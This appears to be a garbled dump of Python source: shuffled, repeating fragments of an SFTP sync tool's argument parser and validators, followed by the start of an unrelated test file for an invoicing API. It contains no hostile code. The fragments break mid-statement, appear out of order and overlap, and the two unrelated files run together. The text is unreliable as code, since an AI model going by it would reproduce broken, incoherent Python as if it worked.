% path) if not os.path.exists(path): raise ValueError('Invalid path: \"%s\". Provided path", "provide either SFTP connection details or a path to a local, existing and", "version: \"%s\". Please choose one of the following values: { %s }.' %", "destination. Expected 2 arguments but got %s: %s.' % (len(args), args)) (source, destination)", "from os import linesep from getopt import getopt, GetoptError import re import socks", "'--proxy-version': config['proxy_version'] = _validate_and_parse_socks_proxy_version(value) if opt == '-F': config['ssh_config'] = _validate_ssh_config_path(value) if opt", "(socks_version, ', '.join(white_list))) return eval('socks.%s' % socks_version) def _validate_source(source): if _is_sftp(source): return _validate_and_parse_sftp(source)", "return path def _validate_ssh_config_path(path): if not path: raise ValueError('Invalid path: \"%s\". Please provide", "ssh_config(5). This is useful for specifying options for which there is no separate", "provide a valid path to your private key.' % path) if not os.path.exists(path):", "separate sftpsync command-line flag.', ' For full details of the options listed below,", "following values: { %s }.' % (socks_version, ', '.join(white_list))) return eval('socks.%s' % socks_version)", "return _validate_and_parse_sftp(source) if _is_path(source): return _validate_is_readable_path(source) raise ValueError('Invalid source. Please provide either SFTP", "from which the identity (private key) for public key authentication is read.', '-o", "_validate_is_writable_path(destination) raise ValueError('Invalid destination. Please provide either SFTP connection details or a path", "path to your SSH configuration.' % path) return path def _validate_ssh_option(option, white_list=['ProxyCommand']): key_value", "error_message): ''' Parses the provided connection string against the provided pattern into a", "Force the synchronization regardless of files\\' presence or timestamps.', '-F config_file Specifies an", "to use. If not provided, port will be defaulted to 1080.', '--proxy-version SOCKS4|SOCKS5',", "will be ignored.', ' The default for the per-user configuration file is ~/.ssh/config.',", "original file.', '--proxy [user[:password]@]host[:port]', ' SOCKS proxy to use. If not provided, port", "('-h', '--help'): usage() exit() if opt in ('-f', '--force'): config['force'] = True if", "return key, value _USER = 'user' _PASS = '<PASSWORD>' _HOST = 'host' _PORT", "opt in ('-r', '--recursive'): config['recursive'] = True if opt in ('-v', '--verbose'): config['verbose']", "provide a valid path to your private key.' % path) return path def", "\"%s\".' % option) if key not in white_list: raise ValueError('Unsupported SSH option: \"%s\".", "white_list: raise ValueError('Invalid SOCKS proxy version: \"%s\". Please choose one of the following", "in ('-i', '--identity'): config['private_key'] = _validate_private_key_path(value) if opt == '--proxy': config['proxy'] = _validate_and_parse_socks_proxy(value)", "_FILEPATH: r'.*?', } def _group(name, patterns=_PATTERNS): return '(?P<%s>%s)' % (name, patterns[name]) _PROXY_PATTERN =", "files\\' presence or timestamps.', '-F config_file Specifies an alternative per-user configuration file.', '", "'-f/--force Force the synchronization regardless of files\\' presence or timestamps.', '-F config_file Specifies", "'drive' _FILEPATH = 'filepath' _PATTERNS = { _USER: r'.+?', _PASS: r'.+?', _HOST: r'[\\w\\-\\.]{3,}?',", "modes from the original file.', '--proxy [user[:password]@]host[:port]', ' SOCKS proxy to use. If", "is ~/.ssh/config.', '-h/--help Prints this!', '-i/--identity identity_file', ' Selects the file from which", "re.search(_PATH_PATTERN, path) def _validate_is_readable_path(path): if not os.path.exists(path): raise ValueError('Invalid path. \"%s\" does NOT", "This is helpful in debugging connection, authentication, and configuration problems.', '' ])) def", "_validate_and_parse_connection_string(sftp, _SFTP_PATTERN, 'Invalid SFTP connection details: \"%s\".' % sftp) def _validate_and_parse_connection_string(connection_string, pattern, error_message):", "NOT have read access.' % (path, getuser())) return path def _validate_is_writable_path(path): if not", "does NOT have read access.' % (path, getuser())) return path def _validate_is_writable_path(path): if", "'Invalid proxy: \"%s\".' % proxy) def _validate_and_parse_sftp(sftp): return _validate_and_parse_connection_string(sftp, _SFTP_PATTERN, 'Invalid SFTP connection", "there is no separate sftpsync command-line flag.', ' For full details of the", "_validate_is_readable_path(path): if not os.path.exists(path): raise ValueError('Invalid path. \"%s\" does NOT exist.' % path)", "listed below, and their possible values, see ssh_config(5).', ' ProxyCommand', '-p/--preserve: Preserves modification", "exist.' % path) if not os.access(os.path.abspath(path), os.W_OK): raise ValueError('Invalid path. \"%s\" exists but", "True if opt in ('-i', '--identity'): config['private_key'] = _validate_private_key_path(value) if opt == '--proxy':", "_validate_and_parse_sftp(sftp): return _validate_and_parse_connection_string(sftp, _SFTP_PATTERN, 'Invalid SFTP connection details: \"%s\".' % sftp) def _validate_and_parse_connection_string(connection_string,", "configuration.' % path) return path def _validate_ssh_option(option, white_list=['ProxyCommand']): key_value = option.split('=', 1) if", "not path: raise ValueError('Invalid path: \"%s\". Please provide a valid path to your", "r'.*?', } def _group(name, patterns=_PATTERNS): return '(?P<%s>%s)' % (name, patterns[name]) _PROXY_PATTERN = '^(%s(:%s)?@)?%s(:%s)?$'", "if _is_path(source): return _validate_is_readable_path(source) raise ValueError('Invalid source. Please provide either SFTP connection details", "_is_path(destination): return _validate_is_writable_path(destination) raise ValueError('Invalid destination. Please provide either SFTP connection details or", "= _validate_and_parse_socks_proxy_version(value) if opt == '-F': config['ssh_config'] = _validate_ssh_config_path(value) if opt == '-o':", "connection_string) if not match: raise ValueError(error_message) return dict((key, value) for (key, value) in", "SFTP connection details: \"%s\".' % sftp) def _validate_and_parse_connection_string(connection_string, pattern, error_message): ''' Parses the", "config = { 'force': False, 'preserve': False, 'quiet': False, 'recursive': False, 'verbose': False,", "dict((key, value) for (key, value) in match.groupdict().items() if value) def _validate_and_parse_socks_proxy_version(socks_version, white_list=['SOCKS4', 'SOCKS5']):", "'' ])) def configure(argv): try: # Default configuration: config = { 'force': False,", "import sys from sys import argv, exit import os from os import linesep", "config['destination'] = _validate_destination(destination) return config except GetoptError as e: usage(str(e)) exit(ERROR_ILLEGAL_ARGUMENTS) except ValueError", "'--proxy': config['proxy'] = _validate_and_parse_socks_proxy(value) if opt == '--proxy-version': config['proxy_version'] = _validate_and_parse_socks_proxy_version(value) if opt", "provided, port will be defaulted to 1080.', '--proxy-version SOCKS4|SOCKS5', ' Version of the", "_validate_private_key_path(value) if opt == '--proxy': config['proxy'] = _validate_and_parse_socks_proxy(value) if opt == '--proxy-version': config['proxy_version']", "sys import argv, exit import os from os import linesep from getopt import", "'SOCKS5']): if socks_version not in white_list: raise ValueError('Invalid SOCKS proxy version: \"%s\". Please", "raise ValueError('Please provide a source and a destination. Expected 2 arguments but got", "opt, value in opts: if opt in ('-h', '--help'): usage() exit() if opt", "= _validate_private_key_path(value) if opt == '--proxy': config['proxy'] = _validate_and_parse_socks_proxy(value) if opt == '--proxy-version':", "Only the following SSH options are currently supported: %s.' % (key, ', '.join(white_list)))", "[s]ftp://[user[:password]@]host[:port][/path] /path/to/local/copy', 'Push:', ' sftpsync.py [OPTION]... /path/to/local/copy [s]ftp://[user[:password]@]host[:port][/path]', '', 'Defaults:', ' user: anonymous',", "_USER: r'.+?', _PASS: r'.+?', _HOST: r'[\\w\\-\\.]{3,}?', _PORT: r'|\\d{1,4}|6553[0-5]|655[0-2]\\d|65[0-4]\\d{2}|6[0-4]\\d{3}|[0-5]\\d{4}', _PATH: r'/.*', _DRIVE: r'[a-zA-Z]{1}:', _FILEPATH:", "if _is_sftp(source): return _validate_and_parse_sftp(source) if _is_path(source): return _validate_is_readable_path(source) raise ValueError('Invalid source. Please provide", "config['proxy_version'] = _validate_and_parse_socks_proxy_version(value) if opt == '-F': config['ssh_config'] = _validate_ssh_config_path(value) if opt ==", "and readable folder: %s.' % source) def _validate_destination(destination): if _is_sftp(destination): return _validate_and_parse_sftp(destination) if", "is given on the command line, the system-wide configuration file (/etc/ssh/ssh_config) will be", "if not path: raise ValueError('Invalid path: \"%s\". Please provide a valid path to", "raise ValueError('Please provide either -q/--quiet OR -v/--verbose, but NOT both at the same", "NOT both at the same time.') if len(args) != 2: raise ValueError('Please provide", "r'.+?', _PASS: r'.+?', _HOST: r'[\\w\\-\\.]{3,}?', _PORT: r'|\\d{1,4}|6553[0-5]|655[0-2]\\d|65[0-4]\\d{2}|6[0-4]\\d{3}|[0-5]\\d{4}', _PATH: r'/.*', _DRIVE: r'[a-zA-Z]{1}:', _FILEPATH: r'.*?',", "\"%s\".' % proxy) def _validate_and_parse_sftp(sftp): return _validate_and_parse_connection_string(sftp, _SFTP_PATTERN, 'Invalid SFTP connection details: \"%s\".'", "exist.' % path) if not os.access(os.path.abspath(path), os.R_OK): raise ValueError('Invalid path. \"%s\" exists but", "to your SSH configuration.' % path) if not os.path.exists(path): raise ValueError('Invalid path: \"%s\".", "as e: usage(str(e)) exit(ERROR_ILLEGAL_ARGUMENTS) def _validate_private_key_path(path): if not path: raise ValueError('Invalid path: \"%s\".", "password: <PASSWORD>', ' port: 22', ' path: /', '', 'Options:', '-f/--force Force the", "DESTINATION', 'Pull:', ' sftpsync.py [OPTION]... [s]ftp://[user[:password]@]host[:port][/path] /path/to/local/copy', 'Push:', ' sftpsync.py [OPTION]... /path/to/local/copy [s]ftp://[user[:password]@]host[:port][/path]',", "_USER = 'user' _PASS = '<PASSWORD>' _HOST = 'host' _PORT = 'port' _PATH", "configuration file (/etc/ssh/ssh_config) will be ignored.', ' The default for the per-user configuration", "% (_group(_USER), _group(_PASS), _group(_HOST), _group(_PORT)) _SFTP_PATTERN = '^s?ftp://(%s(:%s)?@)?%s(:%s)?%s?$' % (_group(_USER), _group(_PASS), _group(_HOST), _group(_PORT),", "False, 'preserve': False, 'quiet': False, 'recursive': False, 'verbose': False, 'private_key': None, 'proxy': None,", "+ error_message + linesep) sys.stdout.write(linesep.join([ 'Usage:', ' sftpsync.py [OPTION]... SOURCE DESTINATION', 'Pull:', '", "read access.' % (path, getuser())) return path def _validate_is_writable_path(path): if not os.path.exists(path): raise", "Please provide a valid path to your private key.' % path) if not", "'proxy': None, 'proxy_version': socks.SOCKS5, 'ssh_config' : '~/.ssh/config', 'ssh_options': {}, } opts, args =", "= _validate_destination(destination) return config except GetoptError as e: usage(str(e)) exit(ERROR_ILLEGAL_ARGUMENTS) except ValueError as", "sftpsync to print debugging messages about their progress. This is helpful in debugging", "' port: 22', ' path: /', '', 'Options:', '-f/--force Force the synchronization regardless", "\"%s\" exists but user \"%s\" does NOT have write access.' % (path, getuser()))", "or a path to a local, existing and readable folder: %s.' % source)", "dictionary, if there is a match, or raises exception if no match. '''", "not provided, port will be defaulted to 1080.', '--proxy-version SOCKS4|SOCKS5', ' Version of", "this!', '-i/--identity identity_file', ' Selects the file from which the identity (private key)", "messages about their progress. This is helpful in debugging connection, authentication, and configuration", "opt in ('-h', '--help'): usage() exit() if opt in ('-f', '--force'): config['force'] =", "same time.') if len(args) != 2: raise ValueError('Please provide a source and a", "mode: disables the progress meter as well as warning and diagnostic messages from", "as e: usage(str(e)) exit(ERROR_ILLEGAL_ARGUMENTS) except ValueError as e: usage(str(e)) exit(ERROR_ILLEGAL_ARGUMENTS) def _validate_private_key_path(path): if", "the provided connection string against the provided pattern into a dictionary, if there", "the system-wide configuration file (/etc/ssh/ssh_config) will be ignored.', ' The default for the", "value) def _validate_and_parse_socks_proxy_version(socks_version, white_list=['SOCKS4', 'SOCKS5']): if socks_version not in white_list: raise ValueError('Invalid SOCKS", "v if config['verbose'] and config['quiet']: raise ValueError('Please provide either -q/--quiet OR -v/--verbose, but", "_is_path(source): return _validate_is_readable_path(source) raise ValueError('Invalid source. Please provide either SFTP connection details or", "socks_version not in white_list: raise ValueError('Invalid SOCKS proxy version: \"%s\". Please choose one", "' path: /', '', 'Options:', '-f/--force Force the synchronization regardless of files\\' presence", "SSH option: \"%s\".' % option) key, value = key_value if not key or", "path. \"%s\" exists but user \"%s\" does NOT have write access.' % (path,", "= re.search(pattern, connection_string) if not match: raise ValueError(error_message) return dict((key, value) for (key,", "} def _group(name, patterns=_PATTERNS): return '(?P<%s>%s)' % (name, patterns[name]) _PROXY_PATTERN = '^(%s(:%s)?@)?%s(:%s)?$' %", "linesep from getopt import getopt, GetoptError import re import socks from getpass import", "path def _validate_ssh_config_path(path): if not path: raise ValueError('Invalid path: \"%s\". Please provide a", "config['private_key'] = _validate_private_key_path(value) if opt == '--proxy': config['proxy'] = _validate_and_parse_socks_proxy(value) if opt ==", "def _validate_and_parse_socks_proxy(proxy): return _validate_and_parse_connection_string(proxy, _PROXY_PATTERN, 'Invalid proxy: \"%s\".' % proxy) def _validate_and_parse_sftp(sftp): return", "' user: anonymous', ' password: <PASSWORD>', ' port: 22', ' path: /', '',", "either SFTP connection details or a path to a local, existing and readable", "regardless of files\\' presence or timestamps.', '-F config_file Specifies an alternative per-user configuration", "'-i/--identity identity_file', ' Selects the file from which the identity (private key) for", "'--proxy [user[:password]@]host[:port]', ' SOCKS proxy to use. If not provided, port will be", "= { 'force': False, 'preserve': False, 'quiet': False, 'recursive': False, 'verbose': False, 'private_key':", "in ('-f', '--force'): config['force'] = True if opt in ('-p', '--preserve'): config['preserve'] =", "key.' % path) if not os.path.exists(path): raise ValueError('Invalid path: \"%s\". Provided path does", "== '--proxy': config['proxy'] = _validate_and_parse_socks_proxy(value) if opt == '--proxy-version': config['proxy_version'] = _validate_and_parse_socks_proxy_version(value) if", "in ('-q', '--quiet'): config['quiet'] = True if opt in ('-r', '--recursive'): config['recursive'] =", "provide either -q/--quiet OR -v/--verbose, but NOT both at the same time.') if", "of the options listed below, and their possible values, see ssh_config(5).', ' ProxyCommand',", "'=' in option else option.split(' ', 1) if not key_value or not len(key_value)", "else option.split(' ', 1) if not key_value or not len(key_value) == 2: raise", "Parses the provided connection string against the provided pattern into a dictionary, if", "valid path to your private key.' % path) if not os.path.exists(path): raise ValueError('Invalid", "% (len(args), args)) (source, destination) = args config['source'] = _validate_source(source) config['destination'] = _validate_destination(destination)", "= 'host' _PORT = 'port' _PATH = 'path' _DRIVE = 'drive' _FILEPATH =", "_validate_and_parse_socks_proxy_version(value) if opt == '-F': config['ssh_config'] = _validate_ssh_config_path(value) if opt == '-o': k,", "ValueError('Invalid path: \"%s\". Provided path does NOT exist. Please provide a valid path", "_SFTP_PATTERN, 'Invalid SFTP connection details: \"%s\".' % sftp) def _validate_and_parse_connection_string(connection_string, pattern, error_message): '''", "def _validate_source(source): if _is_sftp(source): return _validate_and_parse_sftp(source) if _is_path(source): return _validate_is_readable_path(source) raise ValueError('Invalid source.", "{}, } opts, args = getopt(argv, 'fF:hi:o:pqrv', ['force', 'help', 'identity=', 'preserve', 'proxy=', 'proxy-version=',", "SSH option: \"%s\".' % option) if key not in white_list: raise ValueError('Unsupported SSH", "socks from getpass import getuser ERROR_ILLEGAL_ARGUMENTS = 2 def usage(error_message=None): if error_message: sys.stderr.write('ERROR:", "_validate_source(source) config['destination'] = _validate_destination(destination) return config except GetoptError as e: usage(str(e)) exit(ERROR_ILLEGAL_ARGUMENTS) except", "proxy: \"%s\".' % proxy) def _validate_and_parse_sftp(sftp): return _validate_and_parse_connection_string(sftp, _SFTP_PATTERN, 'Invalid SFTP connection details:", "details of the options listed below, and their possible values, see ssh_config(5).', '", "synchronization regardless of files\\' presence or timestamps.', '-F config_file Specifies an alternative per-user", "_validate_private_key_path(path): if not path: raise ValueError('Invalid path: \"%s\". Please provide a valid path", "_group(_PASS), _group(_HOST), _group(_PORT)) _SFTP_PATTERN = '^s?ftp://(%s(:%s)?@)?%s(:%s)?%s?$' % (_group(_USER), _group(_PASS), _group(_HOST), _group(_PORT), _group(_PATH)) _PATH_PATTERN", "Can be used to pass options to ssh in the format used in", "system-wide configuration file (/etc/ssh/ssh_config) will be ignored.', ' The default for the per-user", "below, and their possible values, see ssh_config(5).', ' ProxyCommand', '-p/--preserve: Preserves modification times,", "if opt in ('-f', '--force'): config['force'] = True if opt in ('-p', '--preserve'):", "of the SOCKS protocol to use. Default is SOCKS5.', '-q/--quiet: Quiet mode: disables", "the same time.') if len(args) != 2: raise ValueError('Please provide a source and", "Provided path does NOT exist. Please provide a valid path to your private", "option: \"%s\".' % option) if key not in white_list: raise ValueError('Unsupported SSH option:", "return eval('socks.%s' % socks_version) def _validate_source(source): if _is_sftp(source): return _validate_and_parse_sftp(source) if _is_path(source): return", "ValueError('Invalid destination. Please provide either SFTP connection details or a path to a", "not os.access(os.path.abspath(path), os.W_OK): raise ValueError('Invalid path. \"%s\" exists but user \"%s\" does NOT", "exists but user \"%s\" does NOT have write access.' % (path, getuser())) return", "configuration file is given on the command line, the system-wide configuration file (/etc/ssh/ssh_config)", "ProxyCommand', '-p/--preserve: Preserves modification times, access times, and modes from the original file.',", "raise ValueError('Invalid source. Please provide either SFTP connection details or a path to", "if not match: raise ValueError(error_message) return dict((key, value) for (key, value) in match.groupdict().items()", "ValueError('Invalid path. \"%s\" does NOT exist.' % path) if not os.access(os.path.abspath(path), os.W_OK): raise", "value _USER = 'user' _PASS = '<PASSWORD>' _HOST = 'host' _PORT = 'port'", "Default configuration: config = { 'force': False, 'preserve': False, 'quiet': False, 'recursive': False,", "NOT exist. Please provide a valid path to your private key.' % path)", "source. Please provide either SFTP connection details or a path to a local,", "def _validate_private_key_path(path): if not path: raise ValueError('Invalid path: \"%s\". Please provide a valid", "~/.ssh/config.', '-h/--help Prints this!', '-i/--identity identity_file', ' Selects the file from which the", "key_value if not key or not value: raise ValueError('Invalid SSH option: \"%s\".' %", "False, 'recursive': False, 'verbose': False, 'private_key': None, 'proxy': None, 'proxy_version': socks.SOCKS5, 'ssh_config' :", "from the original file.', '--proxy [user[:password]@]host[:port]', ' SOCKS proxy to use. If not", "opt in ('-v', '--verbose'): config['verbose'] = True if opt in ('-i', '--identity'): config['private_key']", "path: \"%s\". Please provide a valid path to your SSH configuration.' % path)", "{ 'force': False, 'preserve': False, 'quiet': False, 'recursive': False, 'verbose': False, 'private_key': None,", "alternative per-user configuration file.', ' If a configuration file is given on the", "a source and a destination. Expected 2 arguments but got %s: %s.' %", "if key not in white_list: raise ValueError('Unsupported SSH option: \"%s\". Only the following", "ValueError as e: usage(str(e)) exit(ERROR_ILLEGAL_ARGUMENTS) def _validate_private_key_path(path): if not path: raise ValueError('Invalid path:", "private key.' % path) return path def _validate_ssh_config_path(path): if not path: raise ValueError('Invalid", "in the format used in ssh_config(5). This is useful for specifying options for", "' For full details of the options listed below, and their possible values,", "use. Default is SOCKS5.', '-q/--quiet: Quiet mode: disables the progress meter as well", "user \"%s\" does NOT have read access.' % (path, getuser())) return path def", "messages from ssh(1).', '-r/--recursive: Recursively synchronize entire directories.', '-v/--verbose: Verbose mode. Causes sftpsync", "key authentication is read.', '-o ssh_option', ' Can be used to pass options", "config_file Specifies an alternative per-user configuration file.', ' If a configuration file is", "if opt in ('-h', '--help'): usage() exit() if opt in ('-f', '--force'): config['force']", "_DRIVE = 'drive' _FILEPATH = 'filepath' _PATTERNS = { _USER: r'.+?', _PASS: r'.+?',", "('-v', '--verbose'): config['verbose'] = True if opt in ('-i', '--identity'): config['private_key'] = _validate_private_key_path(value)", "a destination. Expected 2 arguments but got %s: %s.' % (len(args), args)) (source,", "(len(args), args)) (source, destination) = args config['source'] = _validate_source(source) config['destination'] = _validate_destination(destination) return", "= _validate_source(source) config['destination'] = _validate_destination(destination) return config except GetoptError as e: usage(str(e)) exit(ERROR_ILLEGAL_ARGUMENTS)", "raise ValueError(error_message) return dict((key, value) for (key, value) in match.groupdict().items() if value) def", "+ linesep) sys.stdout.write(linesep.join([ 'Usage:', ' sftpsync.py [OPTION]... SOURCE DESTINATION', 'Pull:', ' sftpsync.py [OPTION]...", "return re.search(_PATH_PATTERN, path) def _validate_is_readable_path(path): if not os.path.exists(path): raise ValueError('Invalid path. \"%s\" does", "args)) (source, destination) = args config['source'] = _validate_source(source) config['destination'] = _validate_destination(destination) return config", "defaulted to 1080.', '--proxy-version SOCKS4|SOCKS5', ' Version of the SOCKS protocol to use.", "diagnostic messages from ssh(1).', '-r/--recursive: Recursively synchronize entire directories.', '-v/--verbose: Verbose mode. Causes", "getuser ERROR_ILLEGAL_ARGUMENTS = 2 def usage(error_message=None): if error_message: sys.stderr.write('ERROR: ' + error_message +", "possible values, see ssh_config(5).', ' ProxyCommand', '-p/--preserve: Preserves modification times, access times, and", "-q/--quiet OR -v/--verbose, but NOT both at the same time.') if len(args) !=", "' Selects the file from which the identity (private key) for public key", "SFTP connection details or a path to a local, existing and writable folder:", "_is_sftp(source): return _validate_and_parse_sftp(source) if _is_path(source): return _validate_is_readable_path(source) raise ValueError('Invalid source. Please provide either", "22', ' path: /', '', 'Options:', '-f/--force Force the synchronization regardless of files\\'", "_validate_and_parse_socks_proxy(proxy): return _validate_and_parse_connection_string(proxy, _PROXY_PATTERN, 'Invalid proxy: \"%s\".' % proxy) def _validate_and_parse_sftp(sftp): return _validate_and_parse_connection_string(sftp,", "% (path, getuser())) return path def _validate_is_writable_path(path): if not os.path.exists(path): raise ValueError('Invalid path.", "os.access(os.path.abspath(path), os.W_OK): raise ValueError('Invalid path. \"%s\" exists but user \"%s\" does NOT have", "Please provide a valid path to your SSH configuration.' % path) return path", "config['verbose'] = True if opt in ('-i', '--identity'): config['private_key'] = _validate_private_key_path(value) if opt", "and modes from the original file.', '--proxy [user[:password]@]host[:port]', ' SOCKS proxy to use.", "default for the per-user configuration file is ~/.ssh/config.', '-h/--help Prints this!', '-i/--identity identity_file',", "('-i', '--identity'): config['private_key'] = _validate_private_key_path(value) if opt == '--proxy': config['proxy'] = _validate_and_parse_socks_proxy(value) if", "'--identity'): config['private_key'] = _validate_private_key_path(value) if opt == '--proxy': config['proxy'] = _validate_and_parse_socks_proxy(value) if opt", "connection string against the provided pattern into a dictionary, if there is a", "_validate_ssh_config_path(value) if opt == '-o': k, v = _validate_ssh_option(value) config['ssh_options'][k] = v if", "be defaulted to 1080.', '--proxy-version SOCKS4|SOCKS5', ' Version of the SOCKS protocol to", "def _validate_and_parse_sftp(sftp): return _validate_and_parse_connection_string(sftp, _SFTP_PATTERN, 'Invalid SFTP connection details: \"%s\".' % sftp) def", "and a destination. Expected 2 arguments but got %s: %s.' % (len(args), args))", "file.', ' If a configuration file is given on the command line, the", "to your private key.' % path) return path def _validate_ssh_config_path(path): if not path:", "Specifies an alternative per-user configuration file.', ' If a configuration file is given", "about their progress. This is helpful in debugging connection, authentication, and configuration problems.',", "{ _USER: r'.+?', _PASS: r'.+?', _HOST: r'[\\w\\-\\.]{3,}?', _PORT: r'|\\d{1,4}|6553[0-5]|655[0-2]\\d|65[0-4]\\d{2}|6[0-4]\\d{3}|[0-5]\\d{4}', _PATH: r'/.*', _DRIVE: r'[a-zA-Z]{1}:',", "well as warning and diagnostic messages from ssh(1).', '-r/--recursive: Recursively synchronize entire directories.',", "'^(%s(:%s)?@)?%s(:%s)?$' % (_group(_USER), _group(_PASS), _group(_HOST), _group(_PORT)) _SFTP_PATTERN = '^s?ftp://(%s(:%s)?@)?%s(:%s)?%s?$' % (_group(_USER), _group(_PASS), _group(_HOST),", "port will be defaulted to 1080.', '--proxy-version SOCKS4|SOCKS5', ' Version of the SOCKS", "be used to pass options to ssh in the format used in ssh_config(5).", "pass options to ssh in the format used in ssh_config(5). This is useful", "the per-user configuration file is ~/.ssh/config.', '-h/--help Prints this!', '-i/--identity identity_file', ' Selects", "to pass options to ssh in the format used in ssh_config(5). This is", "if no match. ''' match = re.search(pattern, connection_string) if not match: raise ValueError(error_message)", "into a dictionary, if there is a match, or raises exception if no", "= 'drive' _FILEPATH = 'filepath' _PATTERNS = { _USER: r'.+?', _PASS: r'.+?', _HOST:", "if error_message: sys.stderr.write('ERROR: ' + error_message + linesep) sys.stdout.write(linesep.join([ 'Usage:', ' sftpsync.py [OPTION]...", "presence or timestamps.', '-F config_file Specifies an alternative per-user configuration file.', ' If", "both at the same time.') if len(args) != 2: raise ValueError('Please provide a", "value) for (key, value) in match.groupdict().items() if value) def _validate_and_parse_socks_proxy_version(socks_version, white_list=['SOCKS4', 'SOCKS5']): if" ]
[ "= d['winstrom']['faktura-prijata'] list_of_invoices_actual = self.faktura.get_all_prijate_faktury() assert list_of_invoices_expected == list_of_invoices_actual def test_create_vydana_faktura(self): expected_data =", "== expected_data['sumDphZakl'] #uklid po sobe self.faktura.delete_vydana_faktura(id) def test_create_vydana_faktura_polozky(self): polozky = [{'typPolozkyK':self.conf.get_typ_polozky_vydane()[0],'zdrojProSkl':False,'nazev':'vypujceni auta','ucetni':True,'cenaMj':'4815.0'}] expected_data", "== 1): list_of_invoices_expected = d['winstrom']['faktura-prijata'][0] else: list_of_invoices_expected = d['winstrom']['faktura-prijata'] list_of_invoices_actual = self.faktura.get_all_prijate_faktury() assert", "r = requests.get(self.url+'faktura-vydana.json' ,auth=(self.username,self.password), verify=False) d = r.json() if len(d['winstrom']['faktura-vydana']): list_of_invoices_expected = d['winstrom']['faktura-vydana'][0]", "= r.json() if len(d['winstrom']['faktura-vydana']): list_of_invoices_expected = d['winstrom']['faktura-vydana'][0] else: list_of_invoices_expected = d['winstrom']['faktura-vydana'] list_of_invoices_actual =", "d['winstrom']['faktura-vydana'][0] else: list_of_invoices_expected = d['winstrom']['faktura-vydana'] list_of_invoices_actual = self.faktura.get_all_vydane_faktury() assert list_of_invoices_expected == list_of_invoices_actual def", "self.faktura.create_vydana_faktura(kod='flex11', var_sym='11235484', datum_vyst='2013-02-28', zdroj_pro_sklad=False, typ_dokl=self.conf.get_typy_faktury_vydane()[0], dalsi_param=dalsi_param) assert result[0] == True #expected True id", "str(server_settings['password']) self.url = str(server_settings['url']) self.faktura = Faktura(self.conf) def test_get_all_vydane_faktury(self): r = requests.get(self.url+'faktura-vydana.json' ,auth=(self.username,self.password),", "var_sym='11235484', datum_vyst='2013-02-28', zdroj_pro_sklad=False, typ_dokl=self.conf.get_typy_faktury_vydane()[0], dalsi_param=dalsi_param) assert result[0] == True #expected True id =", "dalsi_param=dalsi_param, polozky_faktury=polozky) assert result[0] == True #expected True id = result[1] actualData =", "test_create_vydana_faktura(self): expected_data = {'kod':'flex11','typDokl':'code:FAKTURA','firma':'code:201','popis':'Flexipy test invoice', 'sumDphZakl':'0.0','bezPolozek':'true', 'varSym':'11235484','zdrojProSkl':'false'} dalsi_param = {'popis':'Flexipy test invoice','firma':'code:201'}", "r = requests.get(self.url+'faktura-prijata.json' ,auth=(self.username,self.password), verify=False) d = r.json() if(len(d['winstrom']['faktura-prijata']) == 1): list_of_invoices_expected =", "test invoice', 'varSym':'11235484','zdrojProSkl':'false','polozkyFaktury':polozky} expected_polozky = [{'typPolozkyK':'typPolozky.obecny','zdrojProSkl':'false','nazev':'vypujceni auta','ucetni':'true','cenaMj':'4815.0'}] dalsi_param = {'popis':'Flexipy test invoice','firma':'code:201','typUcOp':u'code:TRŽBA SLUŽBY'}", "TestFaktura: def setup(self): self.conf = config.TestingConfig() server_settings = self.conf.get_server_config() self.username = str(server_settings['username']) self.password", "list_of_invoices_expected = d['winstrom']['faktura-vydana'][0] else: list_of_invoices_expected = d['winstrom']['faktura-vydana'] list_of_invoices_actual = self.faktura.get_all_vydane_faktury() assert list_of_invoices_expected ==", "== expected_data['typDokl'] assert actualData['firma'] == expected_data['firma'] assert actualData['popis'] == expected_data['popis'] #pocet polozek se", "1): list_of_invoices_expected = d['winstrom']['faktura-prijata'][0] else: list_of_invoices_expected = d['winstrom']['faktura-prijata'] list_of_invoices_actual = self.faktura.get_all_prijate_faktury() assert list_of_invoices_expected", "import Faktura from flexipy import config import requests import json class TestFaktura: def", "expected_data['typDokl'] assert actualData['firma'] == expected_data['firma'] assert actualData['popis'] == expected_data['popis'] #pocet polozek se musi", "se musi rovnat assert len(actualData['polozkyFaktury']) == len(expected_polozky) actual_polozky = actualData['polozkyFaktury'][0] assert actual_polozky['typPolozkyK'] ==", "== expected_data['typDokl'] assert actualData['firma'] == expected_data['firma'] assert actualData['popis'] == expected_data['popis'] assert actualData['sumDphZakl'] ==", "== list_of_invoices_actual def test_create_vydana_faktura(self): expected_data = {'kod':'flex11','typDokl':'code:FAKTURA','firma':'code:201','popis':'Flexipy test invoice', 'sumDphZakl':'0.0','bezPolozek':'true', 'varSym':'11235484','zdrojProSkl':'false'} dalsi_param =", "invoice','firma':'code:201','typUcOp':u'code:TRŽBA SLUŽBY'} result = self.faktura.create_vydana_faktura(kod='flex12', var_sym='11235484', datum_vyst='2013-02-28', zdroj_pro_sklad=False, typ_dokl=self.conf.get_typy_faktury_vydane()[0], dalsi_param=dalsi_param, polozky_faktury=polozky) assert result[0]", "verify=False) d = r.json() if(len(d['winstrom']['faktura-prijata']) == 1): list_of_invoices_expected = d['winstrom']['faktura-prijata'][0] else: list_of_invoices_expected =", "rovnat assert len(actualData['polozkyFaktury']) == len(expected_polozky) actual_polozky = actualData['polozkyFaktury'][0] assert actual_polozky['typPolozkyK'] == expected_polozky[0]['typPolozkyK'] assert", "== expected_data['kod'].lower() assert actualData['typDokl'] == expected_data['typDokl'] assert actualData['firma'] == expected_data['firma'] assert actualData['popis'] ==", "class TestFaktura: def setup(self): self.conf = config.TestingConfig() server_settings = self.conf.get_server_config() self.username = str(server_settings['username'])", "var_sym='11235484', datum_vyst='2013-02-28', zdroj_pro_sklad=False, typ_dokl=self.conf.get_typy_faktury_vydane()[0], dalsi_param=dalsi_param, polozky_faktury=polozky) assert result[0] == True #expected True id", "actualData['firma'] == expected_data['firma'] assert actualData['popis'] == expected_data['popis'] assert actualData['sumDphZakl'] == expected_data['sumDphZakl'] #uklid po", "datum_vyst='2013-02-28', zdroj_pro_sklad=False, typ_dokl=self.conf.get_typy_faktury_vydane()[0], dalsi_param=dalsi_param, polozky_faktury=polozky) assert result[0] == True #expected True id =", "sobe self.faktura.delete_vydana_faktura(id) def test_create_vydana_faktura_polozky(self): polozky = [{'typPolozkyK':self.conf.get_typ_polozky_vydane()[0],'zdrojProSkl':False,'nazev':'vypujceni auta','ucetni':True,'cenaMj':'4815.0'}] expected_data = {'kod':'flex12','typDokl':'code:FAKTURA','firma':'code:201','popis':'Flexipy test invoice',", "actualData['polozkyFaktury'][0] assert actual_polozky['typPolozkyK'] == 